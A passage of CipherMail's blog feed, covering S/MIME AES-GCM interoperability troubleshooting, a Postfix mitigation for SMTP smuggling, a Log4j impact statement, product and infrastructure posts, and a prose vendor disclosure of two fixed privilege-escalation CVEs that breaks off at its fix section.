&lt;p&gt;Based on the behavior, the most plausible explanation is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;While running CipherMail v5, the gateway did &lt;strong&gt;not advertise&lt;/strong&gt; GCM capability.&lt;/li&gt;
&lt;li&gt;No Spam Proxy therefore continued to use &lt;strong&gt;AES-CBC&lt;/strong&gt;, and everything worked.&lt;/li&gt;
&lt;li&gt;After upgrading to CipherMail v6, No Spam Proxy learned (via signed mail and capability information) that &lt;strong&gt;some recipients&lt;/strong&gt; now support AES-GCM.&lt;/li&gt;
&lt;li&gt;No Spam Proxy then started using &lt;strong&gt;AES-GCM for certain recipients&lt;/strong&gt;, but still used &lt;strong&gt;AES-CBC for others&lt;/strong&gt; (depending on which capabilities it had already observed per user).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because a single S/MIME encrypted payload can’t be both CBC and GCM at the same time, No Spam Proxy likely &lt;strong&gt;split the
delivery into two messages&lt;/strong&gt; (hence the same Message-ID appearing twice), encrypting each copy using the algorithm it
believed matched the recipient’s capabilities.&lt;/p&gt;
&lt;h3&gt;Reproducing the issue: it depends on No Spam Proxy version&lt;/h3&gt;
&lt;p&gt;Our first assumption in interoperability issues is always: we might be doing something wrong. That’s also the easiest
kind of problem to fix.&lt;/p&gt;
&lt;p&gt;To diagnose this properly, we needed to reproduce it with messages encrypted to a keypair we control. That required
setting up No Spam Proxy and running controlled tests with GCM.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;With a modern No Spam Proxy setup, &lt;strong&gt;GCM decryption worked&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;But the customer reports were consistent, and happened twice, so we suspected a version-specific issue.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We then tested the last &lt;strong&gt;No Spam Proxy 14.x release (14.2)&lt;/strong&gt; and were able to reproduce the failure. That strongly
suggested the problem had been fixed somewhere between &lt;strong&gt;14.2 and 15.7&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;The smoking gun: “bad mac” fixed in No Spam Proxy 15.5&lt;/h3&gt;
&lt;p&gt;Once we knew it was likely a fixed bug, we found an item in the No Spam Proxy release notes (fixed in &lt;strong&gt;15.5&lt;/strong&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;43883 Behebung des „bad mac“-Fehlers bei aes-gcm-Verschlüsselung. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(“Fixing the ‘bad mac’ error in aes-gcm encryption”)&lt;/p&gt;
&lt;p&gt;Source:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.nospamproxy.com/Server/15/Suite/de-de/Content/release-notes/nospamproxy-server-15-5-0-1377.htm"&gt;https://docs.nospamproxy.com/Server/15/Suite/de-de/Content/release-notes/nospamproxy-server-15-5-0-1377.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The note doesn’t specify whether it affects TLS, S/MIME, or another subsystem, but the symptoms match.&lt;/p&gt;
&lt;h3&gt;Is it only CipherMail interoperability? We checked OpenSSL&lt;/h3&gt;
&lt;p&gt;To rule out a “CipherMail-only” edge case, we also tested whether &lt;strong&gt;OpenSSL&lt;/strong&gt; could decrypt the same messages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Email produced by &lt;strong&gt;No Spam Proxy 15.7: decrypts successfully&lt;/strong&gt; with OpenSSL&lt;/li&gt;
&lt;li&gt;Email produced by &lt;strong&gt;No Spam Proxy 14.2: fails to decrypt&lt;/strong&gt; with OpenSSL&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;$ openssl cms -decrypt -inkey testCertificates.pem -in nsp-14_2-aes-256-gcm-encrypt-only.eml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Error decrypting CMS structure
40C75158277F0000:error:06800079:asn1 encoding routines:asn1_item_embed_d2i:field missing:../crypto/asn1/tasn_dec.c:465:Field=num, Type=asn1_oct_int
40C75158277F0000:error:0680006E:asn1 encoding routines:ASN1_item_unpack:decode error:../crypto/asn1/asn_pack.c:59:
40C75158277F0000:error:0680006D:asn1 encoding routines:ossl_asn1_type_get_octetstring_int:data is wrong:../crypto/asn1/evp_asn1.c:183:
40C75158277F0000:error:0300007A:digital envelope routines:evp_cipher_asn1_to_param_ex:cipher parameter error:../crypto/evp/evp_lib.c:215:
40C75158277F0000:error:17000066:CMS routines:ossl_cms_EncryptedContent_init_bio:cipher parameter initialisation error:../crypto/cms/cms_enc.c:103:&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That strongly indicates the older No Spam Proxy versions generated AES-GCM S/MIME that was not generally
interoperable, even with the de-facto baseline toolchain.&lt;/p&gt;
&lt;h3&gt;What to do if you hit this&lt;/h3&gt;
&lt;p&gt;If you see decryption failures and your logs contain:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;mac check in GCM failed&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;…and the sender uses &lt;strong&gt;No Spam Proxy&lt;/strong&gt;, the fix is on the sender side. There are two practical options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Upgrade No Spam Proxy&lt;/strong&gt; (recommended; the issue appears resolved in 15.5+), or&lt;/li&gt;
&lt;li&gt;If they cannot upgrade, configure a &lt;strong&gt;partner/domain&lt;/strong&gt; setting in No Spam Proxy and explicitly force &lt;strong&gt;AES-128 (compatible)&lt;/strong&gt; (i.e., AES-CBC) for that partner domain.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This avoids AES-GCM entirely for that delivery path and restores compatibility with gateways that would otherwise receive broken GCM-encrypted S/MIME.&lt;/p&gt;
&lt;p&gt;&lt;img alt="No Spam Proxy Partner Settings" src="https://www.ciphermail.com/images/nsp-partner-settings.png"&gt;&lt;/p&gt;</content><category term="blog"/></entry><entry><title>SMTP Smuggling - Spoofing E-Mails Worldwide</title><link href="https://www.ciphermail.com/blog/smtp-smuggling-spoofing-emails-worldwide.html" rel="alternate"/><published>2023-12-22T00:00:00+01:00</published><updated>2023-12-22T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2023-12-22:/blog/smtp-smuggling-spoofing-emails-worldwide.html</id><summary type="html">&lt;p&gt;SEC Consult Vulnerability Lab, Timo Longin discovered a novel exploitation technique for SMTP&lt;/p&gt;</summary><content type="html">&lt;p&gt;SEC Consult Vulnerability Lab, Timo Longin discovered a novel exploitation technique for SMTP 
(Simple Mail Transfer Protocol).&lt;/p&gt;
&lt;p&gt;Basically, the vulnerability exploits differences between smtp servers on how they handle non-standard end-of-message sequences.&lt;/p&gt;
&lt;p&gt;To exploit the vulnerability, two mail servers with different handling of non-standard end-of-message sequences are required.  &lt;/p&gt;
&lt;p&gt;The exploit makes it possible to smuggle/send spoofed e-mails.&lt;/p&gt;
&lt;p&gt;CipherMail Gateway/Webmail uses Postfix for delivering email. &lt;/p&gt;
&lt;p&gt;If Postfix receives an email from a vulnerable SMTP server, Postfix will deliver the "smuggled" email as a separate email. &lt;/p&gt;
&lt;p&gt;To stop Postfix from accepting the "smuggled" email, unauthorized pipelining should be disabled. &lt;/p&gt;
&lt;p&gt;To disable unauthorized pipelining, the following parameter should be added to Postfix main config:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;smtpd_data_restrictions = reject_unauth_pipelining
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This can be added from the CipherMail GUI (&lt;strong&gt;Admin -&amp;gt; MTA -&amp;gt; Config -&amp;gt; MTA config file&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;Then add the above &lt;code&gt;smtpd_data_restrictions&lt;/code&gt; line to the end of the config file and apply.&lt;/p&gt;
&lt;p&gt;Alternatively, the Postfix main configuration file can be directly edited from the command line:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;vim&lt;span class="w"&gt; &lt;/span&gt;/etc/postfix/main.cf
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;postfix.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For more information see:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/"&gt;https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.postfix.org/smtp-smuggling.html"&gt;https://www.postfix.org/smtp-smuggling.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact us&lt;/a&gt; if you need more information.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>CipherMail Gateway and Webmail Messenger are not impacted by the Log4j vulnerabilities</title><link href="https://www.ciphermail.com/blog/ciphermail-gateway-and-webmail-messenger-are-not-vulnerable-to-cve-2021-44228.html" rel="alternate"/><published>2021-12-12T00:00:00+01:00</published><updated>2021-12-12T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2021-12-12:/blog/ciphermail-gateway-and-webmail-messenger-are-not-vulnerable-to-cve-2021-44228.html</id><summary type="html">&lt;p&gt;Friday morning we were notified that Log4j, a popular Java logging library,
contains a critical vulnerability that can result in Remote Code Execution
(RCE) when a certain attacker-controlled message gets logged. As we use Log4j
in CipherMail Gateway and Webmail Messenger, and the vulnerability appeared to
be trivial to exploit …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Friday morning we were notified that Log4j, a popular Java logging library,
contains a critical vulnerability that can result in Remote Code Execution
(RCE) when a certain attacker-controlled message gets logged. As we use Log4j
in CipherMail Gateway and Webmail Messenger, and the vulnerability appeared to
be trivial to exploit, we immediately began analyzing whether our products were
impacted. Later that morning we were quite confident that this was not the
case. It turns out that the Log4j version in use by CipherMail products is not
impacted by this vulnerability.&lt;/p&gt;
&lt;p&gt;This means that CipherMail Gateway and Webmail Messenger are &lt;strong&gt;not&lt;/strong&gt; vulnerable
to CVE-2021-44228. However, the Log4j version used has been assigned another
CVE ID around the same time for a less critical vulnerability that works much
like the aforementioned: CVE-2021-4104. Because this version has not been
supported for quite some time, we have decided to update the Log4j library in
our products to the most recent version. This work is now almost finished and
we will release updated packages soon.&lt;/p&gt;
&lt;p&gt;It should be noted that, while the old Log4j library now contains multiple
known vulnerabilities like CVE-2021-4104, we are confident that they pose no or
very limited risk to users and customers of CipherMail products. This is due to
mitigating factors in the CipherMail source code like certain configuration
settings or the way in which the library is used. We too have been spooked
somewhat by the Log4j vulnerability and are now prioritizing other library
updates as well. This is a lot of work for some libraries, but if a Log4j-like
vulnerability is discovered again that &lt;em&gt;does&lt;/em&gt; impact CipherMail users and
customers, we will be quick to update. Again: we are confident that CipherMail
products are not impacted by any known vulnerabilities, but we are improving
our preparedness to make sure that our overall security response will be
adequate when needed.&lt;/p&gt;
&lt;p&gt;If you have any questions or suggestions regarding the security of our
products, please don't hesitate to &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact
us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;UPDATE December 15, 2021: added some background information and intentions on
updating Log4j and other library versions that are no longer supported.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>HTML email is now fully supported by the PDF encryption module</title><link href="https://www.ciphermail.com/blog/html-email-is-now-supported-by-pdf-encryption-module.html" rel="alternate"/><published>2021-12-03T00:00:00+01:00</published><updated>2021-12-03T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2021-12-03:/blog/html-email-is-now-supported-by-pdf-encryption-module.html</id><summary type="html">&lt;p&gt;The PDF encryption module of PDF messenger now fully supports HTML email and embedded images.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Before discussing the new HTML feature, first a quick overview of the PDF encryption functionality provided by CipherMail gateway and Webmail Messenger. &lt;/p&gt;
&lt;h2&gt;PDF messenger&lt;/h2&gt;
&lt;p&gt;With the PDF encryption module (PDF Messenger), the complete email, including all attachments, is converted into a password-protected PDF. The password-protected PDF is then sent to the recipient. The recipient can open the PDF using a standard PDF reader.&lt;/p&gt;
&lt;p&gt;PDF messenger is an easy-to-use alternative to S/MIME or PGP encryption because the recipient only needs a PDF reader. PDF messenger supports different methods of getting the password to the recipient:&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;Use a pre-defined static password.&lt;/li&gt;
    &lt;li&gt;Randomly generate a password. The password will be sent back to the sender of the message.&lt;/li&gt;
    &lt;li&gt;Randomly generate a password. The password will then be sent by SMS Text to the recipient.&lt;/li&gt;
    &lt;li&gt;Generate a one time password (OTP).&lt;/li&gt;
    &lt;li&gt;Sender specified password.&lt;/li&gt;
&lt;/ol&gt;

&lt;center&gt;![PDF messenger]({static}/images/ciphermail-pdf.svg)&lt;/center&gt;

&lt;h2&gt;PDF messenger features&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt;The PDF is encrypted with AES128.&lt;/li&gt;
    &lt;li&gt;Attachments are embedded within the encrypted PDF.&lt;/li&gt;
    &lt;li&gt;The original email can be attached (as .eml file)&lt;/li&gt;
    &lt;li&gt;The recipient can reply by clicking the reply button.&lt;/li&gt;
    &lt;li&gt;Full Unicode support.&lt;/li&gt;
    &lt;li&gt;HTML email is supported, including embedded images [new]&lt;/li&gt;
    &lt;li&gt;PDF template is fully configurable [new]&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;HTML support&lt;/h2&gt;
&lt;p&gt;Previous releases of PDF messenger only supported text based emails. If the email contained a text part, the text part was used. If the email did not contain a text part, the HTML part was converted to text.&lt;/p&gt;
&lt;p&gt;Since version 5.1.3 of the Gateway (professional edition) and version 4.1.3 of Webmail Messenger, HTML email is now fully supported. The encrypted PDF now contains all markup and all inline images. The encrypted PDF looks exactly like the source email.&lt;/p&gt;
&lt;p&gt;The template for the encrypted PDF is fully configurable. This allows you to match the corporate identity.&lt;/p&gt;
&lt;p&gt;To give you an example of how the new PDF with HTML support looks like compared to the text only version, we have included two screenshots of the encrypted PDF. One as generated by the Gateway professional (which has support for HTML parts) and the other was generated by the community edition (which has only support for text parts). Both were generated using the same email.&lt;/p&gt;
&lt;p&gt;Clearly, the HTML supported version is much more appealing.&lt;/p&gt;
&lt;h3&gt;Encrypted PDF with HTML support&lt;/h3&gt;
&lt;center&gt;![Encrypted PDF professional edition]({static}/images/encrypted-pdf-professional-edition.png)* Encrypted PDF with HTML support *&lt;/center&gt;

&lt;h3&gt;Encrypted PDF with only text support&lt;/h3&gt;
&lt;center&gt;![Encrypted PDF community edition]({static}/images/encrypted-pdf-community-edition.png)* Encrypted PDF with only text support *&lt;/center&gt;

&lt;h2&gt;Future developments&lt;/h2&gt;
&lt;p&gt;We are working hard on providing additional features for PDF messenger. Some of the features we are currently working on:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Digital signing of the encrypted PDF.&lt;/li&gt;
    &lt;li&gt;Provide an Android and IOS app which can be used to generate the password for the PDF (using the HOTP algorithm).&lt;/li&gt;
&lt;/ul&gt;</content><category term="blog"/></entry><entry><title>Automating CipherMail deployments</title><link href="https://www.ciphermail.com/blog/automating-ciphermail-deployments.html" rel="alternate"/><published>2021-07-05T00:00:00+02:00</published><updated>2021-07-05T00:00:00+02:00</updated><author><name>Imre Jonk</name></author><id>tag:www.ciphermail.com,2021-07-05:/blog/automating-ciphermail-deployments.html</id><summary type="html">&lt;p&gt;No need to manually edit configuration files and copying them to all cluster nodes anymore, CipherMail is now automated!&lt;/p&gt;</summary><content type="html">&lt;center&gt;![Ansible logo]({static}/images/ansible-logo.svg)&lt;/center&gt;

&lt;p&gt;We have put a lot of effort in making it easy to install and manage CipherMail Gateway and Webmail installations. Still, installing and updating these installations is a manual task, and the amount of work needed is multiplied by the number of CipherMail installations the customer is operating. A customer operating both a three-node Gateway and a three-node Webmail installation (&lt;a href="/blog/eating-our-own-dog-food.html"&gt;like we do ourselves&lt;/a&gt;) needs to install and maintain at least six machines, possibly more when using load balancers and mail servers in front of the clusters. Managing that in the traditional way is a lot of manual work. In our previous blog post we briefly mentioned that we were working on automating these tasks. I am happy to say that we managed to get there, and since CipherMail Gateway 5.0 and Webmail Messenger 4.0, the installation and update mechanisms are highly automated using the Ansible automation framework.&lt;/p&gt;
&lt;p&gt;Ansible was the logical choice for us. Ansible is supported by Red Hat, and our virtual appliance images are based on Red Hat Enterprise Linux. We are even a &lt;a href="/news/ciphermail-is-now-a-red-hat-isv-partner.html"&gt;Red Hat Independent Software Vendor&lt;/a&gt;! We have been using Ansible since version 2.7 for managing our IT infrastructure, and since our infrastructure is based on the Debian GNU/Linux operating system, we have been using the DebOps roles and playbooks from the start. &lt;a href="https://docs.debops.org/en/master/"&gt;DebOps&lt;/a&gt; is an awesome collection of highly integrated Ansible roles and playbooks for Debian-based server farms. You should check it out! It has greatly helped us automate virtually everything in our IT infrastructure and continues to be actively maintained by a dedicated community.&lt;/p&gt;
&lt;p&gt;The roles and playbooks we wrote for automating CipherMail deployments are not based on DebOps, however. The most important reasons for this are license incompatibilities and the fact that DebOps was made for Debian-based systems, not Red Hat Enterprise Linux. So we did everything ourselves. It is now possible to take a clean RHEL 8 installation, set up the CipherMail RPM repository and install the packages, and run the playbook. Ansible handles the rest. Installing a cluster is now many times simpler and faster than before: just add all cluster nodes to the Ansible inventory and run the playbook on just one of the hosts. Ansible will configure the others over SSH. Updates are even easier, just update any CipherMail package using DNF/YUM and the playbook will kick off automatically.&lt;/p&gt;
&lt;p&gt;If you are interested in a demonstration of the new automation system, don't hesitate to &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact us&lt;/a&gt;.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>Eating our own dog food</title><link href="https://www.ciphermail.com/blog/eating-our-own-dog-food.html" rel="alternate"/><published>2020-07-16T00:00:00+02:00</published><updated>2020-07-16T00:00:00+02:00</updated><author><name>Imre Jonk</name></author><id>tag:www.ciphermail.com,2020-07-16:/blog/eating-our-own-dog-food.html</id><summary type="html">&lt;p&gt;This article will give some insight in how we use our products ourselves as a way of quality control and testimonial advertising.&lt;/p&gt;</summary><content type="html">&lt;p&gt;This posting is a bit different from the usual articles on our blog. Instead of telling you how &lt;em&gt;you&lt;/em&gt; can use CipherMail to protect your email, this article will give some insight in how we use our products ourselves as a way of quality control and testimonial advertising. It's called eating our own dog food, after the president of a pet food company who was said to eat his own dog food at shareholder meetings.&lt;/p&gt;
&lt;p&gt;We’ve been telling our customers for a long time how they should implement the CipherMail Email Encryption Gateway in their existing email infrastructure. Our usual advice is to use a hairpin design where mail flows in through the existing mail server, gets forwarded to the CipherMail Gateway which does all the cryptographic operations, before returning it to the same mail server for delivery. We’ve been recommending this method since at least December 2010:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Schematic drawing of email infrastructure, showing CipherMail gateway in a hairpin configuration" src="https://www.ciphermail.com/images/ciphermail-gateway-with-content-scanner-redirect.svg"&gt;&lt;/p&gt;
&lt;p&gt;So that’s how we recommend it to most of our customers, but we haven’t been using it ourselves this way until a few weeks ago. We did use CipherMail Gateway (and also Webmail) however, but more in a ‘pipeline’ configuration where outgoing mail was sent from mail server → gateway → Internet and incoming mail was received from Internet → gateway → mail server. The downside of this approach is that it makes both the gateway &lt;em&gt;and&lt;/em&gt; the mail server responsible for spam filtering, the former for incoming and the latter for outgoing mail. There is also no central point where mail is queued or access control is handled.&lt;/p&gt;
&lt;p&gt;So we didn’t use the hairpin method, but we also didn’t use a clustered setup for any of our mail system components. And when you decide to eat your own dog food, you better present it as a grand buffet.&lt;/p&gt;
&lt;p&gt;Our new clustered email system is spread out over three data centers and consists of these components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtual machines (KVM, libvirt, Azure)&lt;/li&gt;
&lt;li&gt;Four LDAP servers (OpenLDAP)&lt;/li&gt;
&lt;li&gt;Two mail servers (Postfix, Dovecot, Rspamd)&lt;/li&gt;
&lt;li&gt;Two HTTP load balancers (NGINX)&lt;/li&gt;
&lt;li&gt;Three CipherMail Gateway nodes&lt;/li&gt;
&lt;li&gt;Three CipherMail Webmail nodes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We cheated a little here as the third data center is only used for MariaDB Galera arbitrating. The Galera databases of the Gateway and Webmail nodes need an uneven number of MariaDB servers to achieve quorum, which is essential to the voting system used to maintain database consistency.&lt;/p&gt;
&lt;p&gt;We turned to the &lt;a href="https://docs.debops.org/en/master/"&gt;DebOps project&lt;/a&gt; for the orchestration of the whole setup. DebOps is a set of free and open source tools for managing Debian-based data centers, and is founded on the Ansible configuration management system. We have been using DebOps to automate almost everything in our IT infrastructure over the course of the last eighteen months.&lt;/p&gt;
&lt;p&gt;We use the libvirt API and virt-manager to manage virtual machines. The libvirt daemon, as well as network and (NFS) storage configuration, is managed by the debops.libvirtd and debops.libvirt roles. Using NFS for shared storage between our hypervisors makes live migrations possible, which allows for hypervisor maintenance without downtime. The virtual machines at Azure are managed with a custom Ansible role.&lt;/p&gt;
&lt;p&gt;The LDAP cluster uses multi-master replication as provided by the debops.slapd role. It stores things like users, groups, service accounts and domain names and is extensively used by our mail servers. The information in our LDAP database defines which mailboxes are present on our servers, which credentials are needed to access them, what email addresses a user is allowed to send mail from, where (group) mail should be forwarded to, and which automated systems are allowed to relay mail through our servers.&lt;/p&gt;
&lt;p&gt;Our two mail servers are managed with the Dovecot and Postfix roles that are part of DebOps. We wrote a custom role to manage the Rspamd filter.&lt;/p&gt;
&lt;p&gt;We made a few customizations to the Postfix roles in the form of Ansible inventory variables that define additional configuration options. These are the content filter (which forwards all mail to the CipherMail Gateway nodes after queueing) and the services responsible for receiving mail from CipherMail Gateway and Webmail. These services, the so-called re-injection ports, accept all mail from the Gateway and Webmail nodes, but have the content filter configuration removed to ensure that mail is actually delivered this time and an infinite loop cannot occur.&lt;/p&gt;
&lt;p&gt;The Dovecot role is amended with sieve mail filtering support (think automated mail sorting and out-of-office messages) as well as mail replication through dsync. These modifications were possible without having to change the underlying DebOps role, again thanks to the role flexibility and Ansible inventory variables. Mail replication with dsync is especially useful as it makes your IMAP server highly available. There is &lt;a href="https://wiki.dovecot.org/Replication"&gt;little configuration&lt;/a&gt; required and works without any maintenance once it’s set up. CipherMail Webmail also uses dsync to sync mail between cluster nodes.&lt;/p&gt;
&lt;p&gt;The HTTP load balancers are nothing fancy, just two NGINX servers that perform load balancing for https://webmail.ciphermail.com/. We went with the debops.nginx role for this because of its completeness and ACME (Let’s Encrypt) support, which also works when you use two NGINX servers. The ip_hash load balancing method ensures that clients always end up using the same Webmail node (unless that node is not available). This is important because otherwise sessions and attachment uploads might break, as these are not replicated between CipherMail Webmail nodes.&lt;/p&gt;
&lt;p&gt;CipherMail Gateway and Webmail, while easy to use and straightforward to configure both standalone and in a cluster setup, currently do not come with a ready-to-use automation system. This makes installation and maintenance less efficient than it could be. Actually installing, maintaining and using our own CipherMail clusters brought this to light, and we are now exploring ways to make use of automaton tools in our products so that installations and upgrades are as simple as running an Ansible playbook, and whole clusters can be deployed in one go.&lt;/p&gt;
&lt;p&gt;Putting everything together, our current email infrastructure looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Schematic drawing of an email infrastructure consisting of a two-node mail cluster, two load balancers, a three-node CipherMail Gateway cluster and a three-node CipherMail Webmail cluster" src="https://www.ciphermail.com/images/email-infra.png"&gt;&lt;/p&gt;
&lt;p&gt;This may be overkill if you consider the amount of email we actually process with this setup, but we consider it necessary in order to better test and improve the software we write, as well as demonstrating confidence in the solutions we provide to our customers. We are eating our own dog food.&lt;/p&gt;
&lt;p&gt;If this article made you interested in our products, please &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact Us&lt;/a&gt; for a demo, or try out the open source &lt;a href="https://www.ciphermail.com/downloads.html"&gt;community edition&lt;/a&gt; yourself. You can find more information about DebOps and its awesome community on the &lt;a href="https://docs.debops.org/en/master/"&gt;documentation website&lt;/a&gt; as well as the &lt;a href="https://github.com/debops/debops"&gt;GitHub repository&lt;/a&gt;. The custom roles that we wrote and are currently integrating with DebOps can be found on &lt;a href="https://gitlab.com/ciphermail?filter=debops"&gt;our GitLab page&lt;/a&gt;.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>CipherMail CVE-2020-12713 &amp; CVE-2020-12714</title><link href="https://www.ciphermail.com/blog/ciphermail-cve-2020-12713_2020-12714.html" rel="alternate"/><published>2020-05-28T00:00:00+02:00</published><updated>2020-05-28T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2020-05-28:/blog/ciphermail-cve-2020-12713_2020-12714.html</id><summary type="html">&lt;p&gt;Background info on CVE-2020-12713 &amp;amp; CVE-2020-12714&lt;/p&gt;</summary><content type="html">&lt;p&gt;On April 30th we received notice from Pablo A. Zurro on behalf of Core Security that they found two vulnerabilities in CipherMail Gateway and Webmail Messenger. We subsequently found a third vulnerability that was related to weak Diffie-Hellman parameters. These issues have now been resolved. This blog article will provide some background information about the vulnerabilities.&lt;/p&gt;
&lt;h2&gt;Postfix main configuration&lt;/h2&gt;
&lt;p&gt;The first vulnerability involves the MTA configuration page. The CipherMail software allows an administrator to change the MTA configuration. Specifically, the administrator can change the Postfix main configuration file (&lt;em&gt;main.cf&lt;/em&gt;). Postfix supports numerous settings in its configuration files. The CipherMail software makes it easy to configure the most important settings, like relay domains. These settings are validated before being applied. &lt;/p&gt;
&lt;p&gt;In a more advanced setup, it might be desirable to change additional settings that are not covered by this system. To support this, the software provides a configuration page where the raw Postfix configuration file can be edited. This gives the administrator full control over the Postfix installation. &lt;/p&gt;
&lt;p&gt;The vulnerability reported by Core Security is that an administrator can add code to the Postfix configuration file which will be executed as root after Postfix reloads the configuration file. This would elevate the privileges of the administrator from having only access to the web interface, to having full root access to the whole system. You can read the Core Security advisory for a more detailed explanation.&lt;/p&gt;
&lt;h3&gt;The fix&lt;/h3&gt;
&lt;p&gt;Fixing this vulnerability requires that we only allow settings to be changed that are considered safe.  We added a variable, &lt;em&gt;allowed_settings&lt;/em&gt;, to the script responsible for updating the Postfix configuration file. This variable contains a lists of all the safe settings. Any change to an unlisted setting results in an error. The downside of this fix is that an administrator can no longer edit a setting from the web interface that is not on the list of allowed settings. It is however still possible to edit all Postfix configuration settings from the command line.&lt;/p&gt;
&lt;p&gt;This vulnerability has been fixed in CipherMail Gateway 4.8 and Webmail Messenger 3.2. We provide a patch for older releases which will only update the &lt;em&gt;postfix-main-config.sh&lt;/em&gt; script file, mitigating the issue. See below for instructions on how to apply this patch.&lt;/p&gt;
&lt;h2&gt;Backup and restore&lt;/h2&gt;
&lt;p&gt;The second vulnerability involves the restore functionality from the backup/restore page. The backup/restore functionality in the CipherMail software allows an administrator to create a backup of all the relevant settings. The system can then be restored on the same system or on a different system. &lt;/p&gt;
&lt;p&gt;The software stores most settings in a relational database. When creating a system backup, the complete database is dumped to an SQL file. When restoring the backup, the SQL file is passed to the mysql command which will then restore the database.&lt;/p&gt;
&lt;h3&gt;Additional non-SQL commands&lt;/h3&gt;
&lt;p&gt;It turns out that the mysql command supports additional non-SQL commands. One such non-SQL command is the "system" command. If the SQL import file contains a system command, mysql runs the specified system command as the user account that started mysql (which is the "djigzo" user on CipherMail systems). &lt;/p&gt;
&lt;p&gt;The vulnerability is that an administrator can create a backup, modify the SQL file and then restore the modified backup, which will cause the djigzo user to execute any system commands present in the SQL file.&lt;/p&gt;
&lt;h3&gt;Signing the backup file?&lt;/h3&gt;
&lt;p&gt;One possible solution would be to verify that the backup file has not been modified. This requires that the backup file is digitally signed. While this initially sounds like a good solution, it will not work with a software based appliance. If an administrator can get hold of the signing key, the administrator can use the signing key to re-sign a modified backup. With a software based appliance, it is impossible to protect the signing key. &lt;/p&gt;
&lt;h3&gt;Parsing the SQL dump?&lt;/h3&gt;
&lt;p&gt;Another solution could be to parse the SQL file and remove the dangerous commands. This however requires that the parser understands which commands are safe and which are not. Writing a safe parser is hard and you might have issues when an updated MariaDB version introduces new SQL commands. Even if we are able to validate the SQL file and remove the dangerous commands, we still have another issue with additional backup files.&lt;/p&gt;
&lt;h3&gt;Additional backup files&lt;/h3&gt;
&lt;p&gt;Besides the SQL file, the backup file contains additional configuration files. One such configuration file is the Postfix main configuration file (&lt;em&gt;main.cf&lt;/em&gt;). As discussed above, the Postfix configuration file supports settings that can result in code execution. If the administrator modifies the backup and changes the Postfix configuration file, the injected commands will be executed. &lt;/p&gt;
&lt;p&gt;One solution to this might be to validate the Postfix configuration file and check whether it contains settings that are considered to be unsafe. The problem with only allowing safe settings is that if an administrator added an unsafe setting from the command line, because of some requirement, and a backup was created, the backup can no longer be restored because it now contains an unsafe setting. Even if we are able to solve this issue, there might be other configuration files from the backup that might have similar issues. We consider the restore vulnerability a privilege escalation issue: a logged in administrator is inadvertently capable of running commands as the system root user.&lt;/p&gt;
&lt;h3&gt;The fix&lt;/h3&gt;
